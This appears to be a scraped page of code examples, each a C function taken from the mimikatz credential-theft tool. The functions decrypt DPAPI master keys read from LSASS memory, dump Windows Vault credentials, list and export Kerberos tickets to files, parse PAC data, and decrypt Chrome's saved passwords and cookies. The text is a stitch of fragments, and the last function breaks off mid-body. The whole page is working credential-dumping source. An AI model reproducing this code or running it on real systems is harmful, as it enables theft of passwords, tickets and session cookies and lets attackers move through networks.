void kuhl_m_kerberos_ticket_display(PKIWI_KERBEROS_TICKET ticket, BOOL encodedTicketToo)
{
	kprintf(L"\n\t   Start/End/MaxRenew: ");
	kull_m_string_displayLocalFileTime(&ticket->StartTime); kprintf(L" ; ");
	kull_m_string_displayLocalFileTime(&ticket->EndTime); kprintf(L" ; ");
	kull_m_string_displayLocalFileTime(&ticket->RenewUntil);

	kuhl_m_kerberos_ticket_displayExternalName(L"\n\t   Service Name ", ticket->ServiceName, &ticket->DomainName);
	kuhl_m_kerberos_ticket_displayExternalName(L"\n\t   Target Name  ", ticket->TargetName, &ticket->TargetDomainName);
	kuhl_m_kerberos_ticket_displayExternalName(L"\n\t   Client Name  ", ticket->ClientName, &ticket->AltTargetDomainName);
	if(ticket->Description.Buffer)
		kprintf(L" ( %wZ )", &ticket->Description);
	kprintf(L"\n\t   Flags %08x    : ", ticket->TicketFlags);
	kuhl_m_kerberos_ticket_displayFlags(ticket->TicketFlags);
	kprintf(L"\n\t   Session Key       : 0x%08x - %s", ticket->KeyType, kuhl_m_kerberos_ticket_etype(ticket->KeyType));
	if(ticket->Key.Value)
	{
		kprintf(L"\n\t     ");
		kull_m_string_wprintf_hex(ticket->Key.Value, ticket->Key.Length, 0);
	}
	kprintf(L"\n\t   Ticket            : 0x%08x - %s ; kvno = %u", ticket->TicketEncType, kuhl_m_kerberos_ticket_etype(ticket->TicketEncType), ticket->TicketKvno);
	
	if(encodedTicketToo)
	{
		kprintf(L"\n\t     ");
		if(ticket->Ticket.Value)
			kull_m_string_wprintf_hex(ticket->Ticket.Value, ticket->Ticket.Length, 1);
		else PRINT_ERROR_AUTO(L"NULL Ticket Value !");
	}
	else kprintf(L"\t[...]");
}
BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_dpapi(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
{
	KIWI_MASTERKEY_CACHE_ENTRY mesCredentials;
	KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL};
	KULL_M_MEMORY_ADDRESS aBuffer = {&mesCredentials, &hLocalMemory}, aKey = {NULL, &hLocalMemory}, aLsass = {NULL, pData->cLsass->hLsassMem};
	PKUHL_M_SEKURLSA_PACKAGE pPackage = (pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8) ? &kuhl_m_sekurlsa_dpapi_svc_package : &kuhl_m_sekurlsa_dpapi_lsa_package;
	BYTE dgst[SHA_DIGEST_LENGTH];
	DWORD monNb = 0;

	if(pData->LogonType != Network)
	{
		kuhl_m_sekurlsa_printinfos_logonData(pData);
		if(pPackage->Module.isInit || kuhl_m_sekurlsa_utils_search_generic(pData->cLsass, &pPackage->Module, MasterKeyCacheReferences, ARRAYSIZE(MasterKeyCacheReferences), (PVOID *) &pMasterKeyCacheList, NULL, NULL, NULL))
		{
			aLsass.address = pMasterKeyCacheList;
			if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(LIST_ENTRY)))
			{
				aLsass.address = mesCredentials.Flink;
				while(aLsass.address != pMasterKeyCacheList)
				{
					if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(KIWI_MASTERKEY_CACHE_ENTRY)))
					{
						if(RtlEqualLuid(pData->LogonId, &mesCredentials.LogonId))
						{
							kprintf(L"\t [%08x]\n\t * GUID      :\t", monNb++);
							kull_m_string_displayGUID(&mesCredentials.KeyUid);
							kprintf(L"\n\t * Time      :\t"); kull_m_string_displayLocalFileTime(&mesCredentials.insertTime);

							if(aKey.address = LocalAlloc(LPTR, mesCredentials.keySize))
							{
								aLsass.address = (PBYTE) aLsass.address + FIELD_OFFSET(KIWI_MASTERKEY_CACHE_ENTRY, key);
								if(kull_m_memory_copy(&aKey, &aLsass, mesCredentials.keySize))
								{
									(*pData->lsassLocalHelper->pLsaUnprotectMemory)(aKey.address, mesCredentials.keySize);
									kprintf(L"\n\t * MasterKey :\t"); kull_m_string_wprintf_hex(aKey.address, mesCredentials.keySize, 0);
									if(kull_m_crypto_hash(CALG_SHA1, aKey.address, mesCredentials.keySize, dgst, SHA_DIGEST_LENGTH))
									{
										kprintf(L"\n\t * sha1(key) :\t"); kull_m_string_wprintf_hex(dgst, SHA_DIGEST_LENGTH, 0);
										kuhl_m_dpapi_oe_masterkey_add(&mesCredentials.KeyUid, dgst, SHA_DIGEST_LENGTH);
									}
								}
								LocalFree(aKey.address);
							}
							kprintf(L"\n");
						}
						aLsass.address = mesCredentials.Flink;
					}
					else break;
				}
			}
		} else kprintf(L"\n\tKO");
		kprintf(L"\n");
	}
	return TRUE;
}
Example #3
0
void kuhl_m_sekurlsa_printinfos_logonData(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData)
{
	kprintf(L"\nAuthentication Id : %u ; %u (%08x:%08x)\n"
		L"Session           : %s from %u\n"
		L"User Name         : %wZ\n"
		L"Domain            : %wZ\n"
		L"Logon Server      : %wZ\n"
		, pData->LogonId->HighPart, pData->LogonId->LowPart, pData->LogonId->HighPart, pData->LogonId->LowPart, KUHL_M_SEKURLSA_LOGON_TYPE[pData->LogonType], pData->Session, pData->UserName, pData->LogonDomain, pData->LogonServer);

	kprintf(L"Logon Time        : ");
	kull_m_string_displayLocalFileTime(&pData->LogonTime);
	kprintf(L"\n");

	kprintf(L"SID               : ");
	if(pData->pSid)
		kull_m_string_displaySID(pData->pSid);
	kprintf(L"\n");
}
Example #4
0
NTSTATUS kuhl_m_vault_list(int argc, wchar_t * argv[])
{
	DWORD i, j, k, l, cbVaults, cbItems;
	LPGUID vaults;
	HANDLE hVault;
	PVOID items;
	PVAULT_ITEM_7 items7, pItem7;
	PVAULT_ITEM_8 items8, pItem8;
	NTSTATUS status;

	if(isVaultInit)
	{
		if(NT_SUCCESS(VaultEnumerateVaults(0, &cbVaults, &vaults)))
		{
			for(i = 0; i < cbVaults; i++)
			{
				kprintf(L"\nVault : "); kull_m_string_displayGUID(&vaults[i]); kprintf(L"\n");

				if(NT_SUCCESS(VaultOpenVault(&vaults[i], 0, &hVault)))
				{
					kuhl_m_vault_list_descVault(hVault);

					if(NT_SUCCESS(VaultEnumerateItems(hVault, 0, &cbItems, &items)))
					{
						kprintf(L"\tItems (%u)\n", cbItems);
						for(j = 0; j < cbItems; j++)
						{
							if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8) // to fix !
							{
								items7 = (PVAULT_ITEM_7) items;
								kprintf(L"\t %2u.\t%s\n", j, items7[j].FriendlyName);
								kprintf(L"\t\tType            : "); kull_m_string_displayGUID(&items7[j].SchemaId); kprintf(L"\n");
								kprintf(L"\t\tLastWritten     : "); kull_m_string_displayLocalFileTime(&items7[j].LastWritten); kprintf(L"\n");
								kprintf(L"\t\tFlags           : %08x\n", items7[j].Flags);

								kprintf(L"\t\tRessource       : "); kuhl_m_vault_list_descItemData(items7[j].Ressource); kprintf(L"\n");
								kprintf(L"\t\tIdentity        : "); kuhl_m_vault_list_descItemData(items7[j].Identity); kprintf(L"\n");
								kprintf(L"\t\tAuthenticator   : "); kuhl_m_vault_list_descItemData(items7[j].Authenticator); kprintf(L"\n");

								for(k = 0; k < items7[j].cbProperties; k++)
								{
									kprintf(L"\t\tProperty %2u     : ", k); kuhl_m_vault_list_descItemData(items7[j].Properties + k); kprintf(L"\n");
								}

								pItem7 = NULL;
								status = VaultGetItem7(hVault, &items7[j].SchemaId, items7[j].Ressource, items7[j].Identity, NULL, 0, &pItem7);

								kprintf(L"\t\t*Authenticator* : ");
								if(status == STATUS_SUCCESS)
									kuhl_m_vault_list_descItemData(pItem7->Authenticator);
								else
									PRINT_ERROR(L"VaultGetItem7 : %08x", status);
								kprintf(L"\n");
								;
							}
							else
							{
								items8 = (PVAULT_ITEM_8) items;

								kprintf(L"\t %2u.\t%s\n", j, items8[j].FriendlyName);
								kprintf(L"\t\tType            : "); kull_m_string_displayGUID(&items8[j].SchemaId); kprintf(L"\n");
								kprintf(L"\t\tLastWritten     : "); kull_m_string_displayLocalFileTime(&items8[j].LastWritten); kprintf(L"\n");
								kprintf(L"\t\tFlags           : %08x\n", items8[j].Flags);

								kprintf(L"\t\tRessource       : "); kuhl_m_vault_list_descItemData(items8[j].Ressource); kprintf(L"\n");
								kprintf(L"\t\tIdentity        : "); kuhl_m_vault_list_descItemData(items8[j].Identity); kprintf(L"\n");
								kprintf(L"\t\tAuthenticator   : "); kuhl_m_vault_list_descItemData(items8[j].Authenticator); kprintf(L"\n");
								kprintf(L"\t\tPackageSid      : "); kuhl_m_vault_list_descItemData(items8[j].PackageSid); kprintf(L"\n");

								for(k = 0; k < items8[j].cbProperties; k++)
								{
									kprintf(L"\t\tProperty %2u     : ", k); kuhl_m_vault_list_descItemData(items8[j].Properties + k); kprintf(L"\n");
								}

								pItem8 = NULL;
								status = VaultGetItem8(hVault, &items8[j].SchemaId, items8[j].Ressource, items8[j].Identity, items8[j].PackageSid, NULL, 0, &pItem8);

								kprintf(L"\t\t*Authenticator* : ");
								if(status == STATUS_SUCCESS)
									kuhl_m_vault_list_descItemData(pItem8->Authenticator);
								else
									PRINT_ERROR(L"VaultGetItem8 : %08x\n", status);
								kprintf(L"\n");

								for(l = 0; l < (sizeof(schemaHelper) / sizeof(VAULT_SCHEMA_HELPER)); l++)
								{
									if(RtlEqualGuid(&items8[j].SchemaId, &schemaHelper[l].guidString.guid))
									{
										kprintf(L"\n\t\t*** %s ***\n", schemaHelper[l].guidString.text);
										if(schemaHelper[l].helper)
										{
											schemaHelper[l].helper(&schemaHelper[l].guidString, &items8[j], ((status == STATUS_SUCCESS) && pItem8) ? pItem8 : NULL, TRUE);
											kprintf(L"\n");
										}
										break;
									}
								}

								if(pItem8)
									VaultFree(pItem8);
							}
						}
						VaultFree(items);
					}
					VaultCloseVault(&hVault);
				}
			}
		}
		VaultFree(vaults);
	}
	return STATUS_SUCCESS;
}
Example #5
0
NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[])
{
	NTSTATUS status, packageStatus;
	KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = {KerbQueryTicketCacheExMessage, {0, 0}};
	PKERB_QUERY_TKT_CACHE_EX_RESPONSE pKerbCacheResponse;
	PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;
	PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;
	DWORD szData, i;
	wchar_t * filename;
	BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL);

	status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus);
	if(NT_SUCCESS(status))
	{
		if(NT_SUCCESS(packageStatus))
		{
			for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++)
			{
				kprintf(L"\n[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype(pKerbCacheResponse->Tickets[i].EncryptionType));
				kprintf(L"\n   Start/End/MaxRenew: ");
				kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; ");
				kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; ");
				kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].RenewTime);
				kprintf(L"\n   Server Name       : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ServerName, &pKerbCacheResponse->Tickets[i].ServerRealm);
				kprintf(L"\n   Client Name       : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ClientName, &pKerbCacheResponse->Tickets[i].ClientRealm);
				kprintf(L"\n   Flags %08x    : ", pKerbCacheResponse->Tickets[i].TicketFlags);
				kuhl_m_kerberos_ticket_displayFlags(pKerbCacheResponse->Tickets[i].TicketFlags);
			
				if(export)
				{
					szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + pKerbCacheResponse->Tickets[i].ServerName.MaximumLength;
					if(pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST) LocalAlloc(LPTR, szData)) // LPTR implicates KERB_ETYPE_NULL
					{
						pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
						pKerbRetrieveRequest->CacheOptions = /*KERB_RETRIEVE_TICKET_USE_CACHE_ONLY | */KERB_RETRIEVE_TICKET_AS_KERB_CRED;
						pKerbRetrieveRequest->TicketFlags = pKerbCacheResponse->Tickets[i].TicketFlags;
						pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[i].ServerName;
						pKerbRetrieveRequest->TargetName.Buffer = (PWSTR) ((PBYTE) pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
						RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength);

						status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID *) &pKerbRetrieveResponse, &szData, &packageStatus);
						if(NT_SUCCESS(status))
						{
							if(NT_SUCCESS(packageStatus))
							{
								if(filename = kuhl_m_kerberos_generateFileName(i, &pKerbCacheResponse->Tickets[i], MIMIKATZ_KERBEROS_EXT))
								{
									if(kull_m_file_writeData(filename, pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize))
										kprintf(L"\n   * Saved to file     : %s", filename);
									LocalFree(filename);
								}
								LsaFreeReturnBuffer(pKerbRetrieveResponse);
							}
							else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage / Package : %08x\n", packageStatus);
						}
						else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage : %08x\n", status);

						LocalFree(pKerbRetrieveRequest);
					}
				}
				kprintf(L"\n");
			}
			LsaFreeReturnBuffer(pKerbCacheResponse);
		}
		else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbQueryTicketCacheEx2Message / Package : %08x\n", packageStatus);
	}
Example #6
0
NTSTATUS kuhl_m_kerberos_pac_info(int argc, wchar_t * argv[])
{
	PPACTYPE pacType;
	DWORD pacLenght, i, j;
	BYTE buffer[16] = {0};
	PRPCE_KERB_VALIDATION_INFO pValInfo;
	PPAC_SIGNATURE_DATA pSignatureData;
	PPAC_CLIENT_INFO pClientInfo;
	PGROUP_MEMBERSHIP pGroup;
	PRPCE_KERB_EXTRA_SID pExtraSids;
	PSID pSid;
	PVOID base;

	if(kull_m_file_readData(L"C:\\security\\mimikatz\\mimikatz\\bad.pac", (PBYTE *) &pacType, &pacLenght))
	{
		kprintf(L"version %u, nbBuffer = %u\n\n", pacType->Version, pacType->cBuffers);
		
		for(i = 0; i < pacType->cBuffers; i++)
		{
			switch(pacType->Buffers[i].ulType)
			{
			case PACINFO_TYPE_LOGON_INFO:
				pValInfo = (PRPCE_KERB_VALIDATION_INFO) ((PBYTE) pacType + pacType->Buffers[i].Offset);
				base = (PBYTE) &pValInfo->infos + sizeof(MARSHALL_KERB_VALIDATION_INFO);
				kprintf(L"[%02u] %08x @ offset %016llx (%u)\n", i, pacType->Buffers[i].ulType, pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize);
				kull_m_string_wprintf_hex((PBYTE) pacType + pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize, 1 | (16 << 16));
				kprintf(L"\n");
				kprintf(L"*** Validation Informations *** (%u)\n", pacType->Buffers[i].cbBufferSize);
				kprintf(L"TypeHeader    : version 0x%02x, endianness 0x%02x, length %hu (%u), filer %08x\n", pValInfo->typeHeader.Version, pValInfo->typeHeader.Endianness, pValInfo->typeHeader.CommonHeaderLength, sizeof(MARSHALL_KERB_VALIDATION_INFO), pValInfo->typeHeader.Filler);
				kprintf(L"PrivateHeader : length %u, filer %08x\n", pValInfo->privateHeader.ObjectBufferLength, pValInfo->privateHeader.Filler);
				kprintf(L"RootElementId : %08x\n\n", pValInfo->RootElementId);
				
				kprintf(L"LogonTime              %016llx - ", pValInfo->infos.LogonTime); kull_m_string_displayLocalFileTime(&pValInfo->infos.LogonTime); kprintf(L"\n");
				kprintf(L"LogoffTime             %016llx - ", pValInfo->infos.LogoffTime); kull_m_string_displayLocalFileTime(&pValInfo->infos.LogoffTime); kprintf(L"\n");
				kprintf(L"KickOffTime            %016llx - ", pValInfo->infos.KickOffTime); kull_m_string_displayLocalFileTime(&pValInfo->infos.KickOffTime); kprintf(L"\n");
				kprintf(L"PasswordLastSet        %016llx - ", pValInfo->infos.PasswordLastSet); kull_m_string_displayLocalFileTime(&pValInfo->infos.PasswordLastSet); kprintf(L"\n");
				kprintf(L"PasswordCanChange      %016llx - ", pValInfo->infos.PasswordCanChange); kull_m_string_displayLocalFileTime(&pValInfo->infos.PasswordCanChange); kprintf(L"\n");
				kprintf(L"PasswordMustChange     %016llx - ", pValInfo->infos.PasswordMustChange); kull_m_string_displayLocalFileTime(&pValInfo->infos.PasswordMustChange); kprintf(L"\n");
				kprintf(L"\n");
				kuhl_m_kerberos_pac_ustring(L"EffectiveName         ", &pValInfo->infos.EffectiveName, base);
				kuhl_m_kerberos_pac_ustring(L"FullName              ", &pValInfo->infos.FullName, base);
				kuhl_m_kerberos_pac_ustring(L"LogonScript           ", &pValInfo->infos.LogonScript, base);
				kuhl_m_kerberos_pac_ustring(L"ProfilePath           ", &pValInfo->infos.ProfilePath, base);
				kuhl_m_kerberos_pac_ustring(L"HomeDirectory         ", &pValInfo->infos.HomeDirectory, base);
				kuhl_m_kerberos_pac_ustring(L"HomeDirectoryDrive    ", &pValInfo->infos.HomeDirectoryDrive, base);
				kprintf(L"\n");
				kprintf(L"LogonCount             %hu\n", pValInfo->infos.LogonCount);
				kprintf(L"BadPasswordCount       %hu\n", pValInfo->infos.BadPasswordCount);
				kprintf(L"\n");
				kprintf(L"UserId                 %08x (%u)\n", pValInfo->infos.UserId, pValInfo->infos.UserId);
				kprintf(L"PrimaryGroupId         %08x (%u)\n", pValInfo->infos.PrimaryGroupId, pValInfo->infos.PrimaryGroupId);
				kprintf(L"\n");
				kprintf(L"GroupCount             %u\n", pValInfo->infos.GroupCount);
				pGroup = (PGROUP_MEMBERSHIP) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.GroupIds, base);
				kprintf(L"GroupIds               @ %08x\n * RID : ", pValInfo->infos.GroupIds);
				for(j = 0; j < pValInfo->infos.GroupCount; j++)
					kprintf(L"%u,", pGroup[j].RelativeId); //, pGroup[j].Attributes);
				kprintf(L"\n\n");
				kprintf(L"UserFlags              %08x (%u)\n", pValInfo->infos.UserFlags, pValInfo->infos.UserFlags);
				kprintf(L"UserSessionKey         "); kull_m_string_wprintf_hex(pValInfo->infos.UserSessionKey.data, 16, 0); kprintf(L"\n");
				kprintf(L"\n");
				kuhl_m_kerberos_pac_ustring(L"LogonServer           ", &pValInfo->infos.LogonServer, base);
				kuhl_m_kerberos_pac_ustring(L"LogonDomainName       ", &pValInfo->infos.LogonDomainName, base);
				kprintf(L"\n");
				pSid = (PSID) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.LogonDomainId, base);
				kprintf(L"LogonDomainId          @ %08x\n * SID : ", pValInfo->infos.LogonDomainId); kull_m_string_displaySID(pSid); kprintf(L"\n");
				kprintf(L"\n");
				kprintf(L"UserAccountControl     %08x (%u)\n", pValInfo->infos.UserAccountControl, pValInfo->infos.UserAccountControl);
				kprintf(L"SubAuthStatus          %08x (%u)\n", pValInfo->infos.SubAuthStatus, pValInfo->infos.SubAuthStatus);
				kprintf(L"\n");
				kprintf(L"LastSuccessfulILogon   %016llx\n", pValInfo->infos.LastSuccessfulILogon);
				kprintf(L"LastFailedILogon       %016llx\n", pValInfo->infos.LastFailedILogon);
				kprintf(L"\n");
				kprintf(L"FailedILogonCount      %u\n", pValInfo->infos.FailedILogonCount);
				kprintf(L"\n");
				kprintf(L"SidCount               %u\n", pValInfo->infos.SidCount);
				kprintf(L"ExtraSids              @ %08x\n", pValInfo->infos.ExtraSids);
				pExtraSids = (PRPCE_KERB_EXTRA_SID) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.ExtraSids, base);
				for(j = 0; j < pValInfo->infos.SidCount; j++)
				{kull_m_string_wprintf_hex(pExtraSids, 64, 1);
					pSid = (PSID) kuhl_m_kerberos_pac_giveElementById(pExtraSids[j].ExtraSid, base);
					kprintf(L"ExtraSid [%u]           @ %08x\n * SID : ", j, pExtraSids[j].ExtraSid); kull_m_string_displaySID(pSid); kprintf(L"\n");
				}
				kprintf(L"\n");
				pSid = (PSID) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.ResourceGroupDomainSid, base);
				kprintf(L"ResourceGroupDomainSid @ %08x\n * SID : ", pValInfo->infos.ResourceGroupDomainSid); if(pSid) kull_m_string_displaySID(pSid); kprintf(L"\n");
				kprintf(L"ResourceGroupCount     %u\n", pValInfo->infos.ResourceGroupCount);
				pGroup = (PGROUP_MEMBERSHIP) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.ResourceGroupIds, base);
				kprintf(L"ResourceGroupIds       @ %08x\n * RID : ", pValInfo->infos.ResourceGroupIds);
				for(j = 0; j < pValInfo->infos.ResourceGroupCount; j++)
					kprintf(L"%u,", pGroup[j].RelativeId); //, pGroup[j].Attributes);
				break;
			case PACINFO_TYPE_CHECKSUM_SRV: // Server Signature
			case PACINFO_TYPE_CHECKSUM_KDC: // KDC Signature
				pSignatureData = (PPAC_SIGNATURE_DATA) ((PBYTE) pacType + pacType->Buffers[i].Offset);
				kprintf(L"*** %s Signature ***\n", (pacType->Buffers[i].ulType == 0x00000006) ? L"Server" : L"KDC");
				kprintf(L"Type %08x - (%hu) : ", pSignatureData->SignatureType, 0);//pSignatureData->RODCIdentifier);
				kull_m_string_wprintf_hex(pSignatureData->Signature, (pSignatureData->SignatureType == KERB_CHECKSUM_HMAC_MD5) ? LM_NTLM_HASH_LENGTH : 12, 0);
				kprintf(L"\n");
				break;
			case PACINFO_TYPE_CNAME_TINFO: // Client name and ticket information
				pClientInfo  = (PPAC_CLIENT_INFO) ((PBYTE) pacType + pacType->Buffers[i].Offset);
				kprintf(L"*** Client name and ticket information ***\n");
				kprintf(L"ClientId %016llx - ", pClientInfo->ClientId); kull_m_string_displayLocalFileTime(&pClientInfo->ClientId); kprintf(L"\n");
				kprintf(L"Client   (%hu, %.*s)\n", pClientInfo->NameLength, pClientInfo->NameLength / sizeof(WCHAR), pClientInfo->Name);
				break;
			default:
				kull_m_string_wprintf_hex(&pacType->Buffers[i], sizeof(PAC_INFO_BUFFER), 1);
				kprintf(L"\n");
				kprintf(L"[%02u] %08x @ offset %016llx (%u)\n", i, pacType->Buffers[i].ulType, pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize);
				kull_m_string_wprintf_hex((PBYTE) pacType + pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize, 1);
				kprintf(L"\n");
			}
			kprintf(L"\n");
		}
		LocalFree(pacType);
	}
	return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_dpapi_chrome(int argc, wchar_t * argv[])
{
	PCWSTR infile;
	PSTR aInfile;
	int rc;
	sqlite3 *pDb;
	sqlite3_stmt * pStmt;
	LPVOID pDataOut;
	DWORD dwDataOutLen;
	__int64 i64;

	if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL))
	{
		if(aInfile = kull_m_string_unicode_to_ansi(infile))
		{
			rc = sqlite3_initialize();
			if(rc == SQLITE_OK)
			{
				rc = sqlite3_open_v2(aInfile, &pDb, SQLITE_OPEN_READONLY, NULL);
				if(rc == SQLITE_OK)
				{
					if(kuhl_m_dpapi_chrome_isTableExist(pDb, "logins"))
					{
						rc = sqlite3_prepare_v2(pDb, "select signon_realm, origin_url, username_value, password_value from logins", -1, &pStmt, NULL);
						if(rc == SQLITE_OK)
						{
							while(rc = sqlite3_step(pStmt), rc == SQLITE_ROW)
							{
								kprintf(L"\nURL     : %.*S ( %.*S )\nUsername: %.*S\n",
									sqlite3_column_bytes(pStmt, 0), sqlite3_column_text(pStmt, 0),
									sqlite3_column_bytes(pStmt, 1), sqlite3_column_text(pStmt, 1),
									sqlite3_column_bytes(pStmt, 2), sqlite3_column_text(pStmt, 2));
								if(kuhl_m_dpapi_unprotect_raw_or_blob(sqlite3_column_blob(pStmt, 3), sqlite3_column_bytes(pStmt, 3), NULL, argc, argv, NULL, 0, &pDataOut, &dwDataOutLen, NULL))
								{
									kprintf(L"Password: %.*S\n", dwDataOutLen, pDataOut);
									LocalFree(pDataOut);
								}
							}
							if(rc != SQLITE_DONE)
								PRINT_ERROR(L"sqlite3_step: %S\n", sqlite3_errmsg(pDb));
						}
						else PRINT_ERROR(L"sqlite3_prepare_v2: %S\n", sqlite3_errmsg(pDb));
						sqlite3_finalize(pStmt);
					}
					else if(kuhl_m_dpapi_chrome_isTableExist(pDb, "cookies"))
					{
						rc = sqlite3_prepare_v2(pDb, "select host_key, path, name, creation_utc, expires_utc, encrypted_value from cookies order by host_key, path, name", -1, &pStmt, NULL);
						if(rc == SQLITE_OK)
						{
							while(rc = sqlite3_step(pStmt), rc == SQLITE_ROW)
							{
								kprintf(L"\nHost  : %.*S ( %.*S )\nName  : %.*S\nDates : ",
									sqlite3_column_bytes(pStmt, 0), sqlite3_column_text(pStmt, 0),
									sqlite3_column_bytes(pStmt, 1), sqlite3_column_text(pStmt, 1),
									sqlite3_column_bytes(pStmt, 2), sqlite3_column_text(pStmt, 2));

								i64 = sqlite3_column_int64(pStmt, 3) * 10;
								kull_m_string_displayLocalFileTime((LPFILETIME) &i64);
								i64 = sqlite3_column_int64(pStmt, 4) * 10;
								if(i64)
								{
									kprintf(L" -> ");
									kull_m_string_displayLocalFileTime((LPFILETIME) &i64);
								}
								kprintf(L"\n");
								if(kuhl_m_dpapi_unprotect_raw_or_blob(sqlite3_column_blob(pStmt, 5), sqlite3_column_bytes(pStmt, 5), NULL, argc, argv, NULL, 0, &pDataOut, &dwDataOutLen, NULL))
								{
									kprintf(L"Cookie: %.*S\n", dwDataOutLen, pDataOut);
									LocalFree(pDataOut);
								}
							}
							if(rc != SQLITE_DONE)
								PRINT_ERROR(L"sqlite3_step: %S\n", sqlite3_errmsg(pDb));
						}
						else PRINT_ERROR(L"sqlite3_prepare_v2: %S\n", sqlite3_errmsg(pDb));
						sqlite3_finalize(pStmt);
					}
					else PRINT_ERROR(L"Neither the table \'logins\' or the table \'cookies\' exist!\n");
				}
				else PRINT_ERROR(L"sqlite3_open_v2: %S (%S)\n", sqlite3_errmsg(pDb), aInfile);
				rc = sqlite3_close_v2(pDb);
				rc = sqlite3_shutdown();
			}
			else PRINT_ERROR(L"sqlite3_initialize: 0x%08x\n", rc);
			LocalFree(aInfile);
		}
	}
	else PRINT_ERROR(L"Input \'Login Data\' file needed (/in:\"%%localappdata%%\\Google\\Chrome\\User Data\\Default\\Login Data\")\n");
	return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_kerberos_list_tickets(PKERB_CALLBACK_CTX callbackCtx, BOOL bExport)
{
	NTSTATUS status, packageStatus;
	KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = {KerbQueryTicketCacheExMessage, {0, 0}};
	PKERB_QUERY_TKT_CACHE_EX_RESPONSE pKerbCacheResponse;
	PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest = NULL;
	PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse = NULL;
	DWORD szData, i;

	status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus);
	if(NT_SUCCESS(status))
	{
		if(NT_SUCCESS(packageStatus))
		{
			for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++)
			{
				kprintf(L"\n[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype(pKerbCacheResponse->Tickets[i].EncryptionType));
				kprintf(L"\n   Start/End/MaxRenew: ");
				kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; ");
				kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; ");
				kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].RenewTime);
				kprintf(L"\n   Server Name       : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ServerName, &pKerbCacheResponse->Tickets[i].ServerRealm);
				kprintf(L"\n   Client Name       : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ClientName, &pKerbCacheResponse->Tickets[i].ClientRealm);
				kprintf(L"\n   Flags %08x    : ", pKerbCacheResponse->Tickets[i].TicketFlags);
				kuhl_m_kerberos_ticket_displayFlags(pKerbCacheResponse->Tickets[i].TicketFlags);
			
				if (bExport)
				{
					szData = sizeof(KERB_RETRIEVE_TKT_REQUEST)+pKerbCacheResponse->Tickets[i].ServerName.MaximumLength;
					if (pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR, szData)) // LPTR implicates KERB_ETYPE_NULL
					{
						pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
						pKerbRetrieveRequest->CacheOptions = /*KERB_RETRIEVE_TICKET_USE_CACHE_ONLY | */KERB_RETRIEVE_TICKET_AS_KERB_CRED;
						pKerbRetrieveRequest->TicketFlags = pKerbCacheResponse->Tickets[i].TicketFlags;
